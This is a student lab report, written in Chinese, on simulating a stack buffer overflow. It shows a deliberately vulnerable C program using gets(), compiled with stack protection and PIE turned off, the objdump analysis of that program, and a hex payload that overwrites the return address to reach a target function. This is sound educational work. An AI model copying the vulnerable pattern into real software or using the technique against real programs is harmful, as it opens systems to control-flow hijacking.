模拟栈溢出攻击 ★★

实验报告

计04 何秉翔 2020010944

1. 实验背景

栈区溢出攻击，是最常见的缓冲区溢出攻击方式，是多种攻击的基础。攻击者构造恶意的程序输入覆盖栈当中的返回地址，不正当触发函数执行，达到修改进程行为的目的。

2. 实验目的

本实验模拟一次朴素的栈区溢出攻击，核心在于掌握“如何构造覆盖栈帧的恶意输入”。具体而言，我们将覆盖**受害函数**的返回地址，劫持程序的控制流，让程序返回到攻击者指定的函数，即**目标函数**，而不是正常返回。实验用到的源码以及相关的输入文件可在 清华云盘 获得。

3. 环境设置

本实验的硬件环境为 `Intel(R) Core(TM) i7-10510U CPU @ 1.80GHz 2.30 GHz`，采用**小端序**，软件环境为 `Ubuntu 20.04.5 LTS`，`gcc` 版本为 `version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)`，受害程序由 `C` 语言实现。

4. 关键步骤 & 关键源代码

4.1 C 语言受害程序

我们编写攻击者的**目标函数** `target()`，即需要被恶意返回到的函数如下：

```c
void target() {
    printf("Successful attack!\n");
    exit(0);
}
```

然后编写**受害函数** `getbuf()`，其中包括不安全的输入语句 `gets()`，该函数的返回地址将被我们恶意构造的输入所覆盖。

```c
void getbuf() {
    char buf[12];
    gets(buf);
}
```

`main` 函数如下：

```c
int main() {
    getbuf();
    printf("Attack failed!\n");
    return 0;
}
```

若**受害函数** `getbuf()` 正确返回 `main` 函数，则攻击失败；若返回到**目标函数** `target()`，则攻击成功。

4.2 编译受害程序

我们需要关闭一系列内存防御方案，包括 ASLR 和 Stack Canary，在这个条件下编译受害程序 victim.c，我们的 Makefile 如下：

```
victim: victim.c
    gcc -Og -fno-stack-protector -no-pie victim.c -o victim
```

其中：

- -Og：一定程度上优化受害程序，减少对应的汇编指令，方便进行攻击。
- -fno-stack-protector：关闭 Stack Canary，该选项禁用了栈保护机制。
- -no-pie：关闭 ASLR，该选项禁用了 Position Independent Executable (PIE) 模式

我们以这些选项来对受害函数编译生成可执行程序 victim，由于我们的实验只针对覆盖返回地址，不进行栈上的代码注入，因此无需开启栈上的可执行权限 -z execstack。

4.3 观察目标函数地址

接着为了构造合适的非法输入，我们需要观察**目标函数** target() 的返回地址，以及**受害函数** getbuf() 的栈帧情况。为此，我们利用 objdump 对受害程序进行反汇编，得到 getbuf() 函数的反汇编结果如下：

```
0000000000401176 <getbuf>:
  401176: f3 0f 1e fa          endbr64
  40117a: 48 83 ec 18          sub    $0x18,%rsp
  40117e: 48 8d 7c 24 04       lea    0x4(%rsp),%rdi
  401183: b8 00 00 00 00       mov    $0x0,%eax
  401188: e8 e3 fe ff ff       callq  401070 <gets@plt>
  40118d: 48 83 c4 18          add    $0x18,%rsp
  401191: c3                   retq
```

可以看到，在刚压入 getbuf() 的正常返回地址后，栈指针 sp 下移了 24 字节，然后将 $sp+4$ 的栈上地址赋值给 %rdi，然后调用不安全输入函数 gets()，此时用户输入的内容将被放在从 $sp+4$ 开始的栈空间，此时距离返回地址还有 20 字节，因此我们构造输入时前 20 个字节可以放置任意内容，只需后面覆盖返回地址即可。接下来我们看到**目标函数** target() 的反汇编结果：

```
0000000000401192 <target>:
  401192: f3 0f 1e fa          endbr64
  401196: 50                   push   %rax
  401197: 58                   pop    %rax
  401198: 48 83 ec 08          sub    $0x8,%rsp
  40119c: 48 8d 3d 61 0e 00 00 lea    0xe61(%rip),%rdi        # 402004 <_IO_stdin_used+0x4>
  4011a3: e8 b8 fe ff ff       callq  401060 <puts@plt>
  4011a8: bf 00 00 00 00       mov    $0x0,%edi
  4011ad: e8 ce fe ff ff       callq  401080 <exit@plt>
```

观察到其起始地址为 0x00401192。

4.4 构造非法输入

有了目标函数地址后，考虑到实验机器为小端序，因此我们构造恶意输入 eval.txt 如下：

```
00 00 00 00 00 00 00 00 /* 填充字节 */
00 00 00 00 00 00 00 00 /* 填充字节 */
00 00 00 00             /* 填充字节 */
92 11 40 00             /* 返回地址 */
```

然后将其转化为二进制 01 串 raw.txt 作为受害程序的输入，使用的工具为 CMU 15-213 Attacklab 的 hextoraw 程序，也一并放置在源代码中。

5. 实验结果

为了比较，我们构造一个随机输入 `random.txt` 如下：

```
fdafdafdafadf
```

实验结果如下：

```
project1 ➤ ./victim < raw.txt
Successful attack!
project1 ➤ ./victim < random.txt
Attack failed!
project1 ➤
```

我们也可以采用 `gdb` 来观察程序的行为：

```
(gdb) break getbuf
Breakpoint 1 at 0x401176
(gdb) run < raw.txt
Starting program: /mnt/d/THUstudy/study/2022-2023spring/网安导/prj/project1/victim < raw.txt

Breakpoint 1, 0x0000000000401176 in getbuf ()
(gdb) n
Single stepping until exit from function getbuf,
which has no line number information.
0x0000000000401192 in target ()
(gdb)
```

发现程序的确跑到了 `0x00401192` 处的**目标函数** `target()` 里。

6. 影响因素分析

影响该实验成功进行的因素主要为栈空间的布局以及编译选项，我们需要关闭一些保护性机制以便于实验成功：

- `-fno-stack-protector`：关闭 `Stack Canary`，该选项禁用了栈保护机制，否则会出现 `*** stack smashing detected ***: terminated` 的报错
- `-no-pie`：关闭 `ASLR`，该选项禁用了 `Position Independent Executable (PIE)` 模式

我们以这些选项来对受害函数编译生成可执行程序 `victim`，由于我们的实验只针对覆盖返回地址，不进行栈上的代码注入，因此无需开启栈上的可执行权限 `-z execstack`。

我们注意到实验指导书上指出可能需要开启 `-m32` 的选项，但在实验的过程中我们发现不需要这个编译选项也能实验成功，这可能是由于实验环境的不同导致的。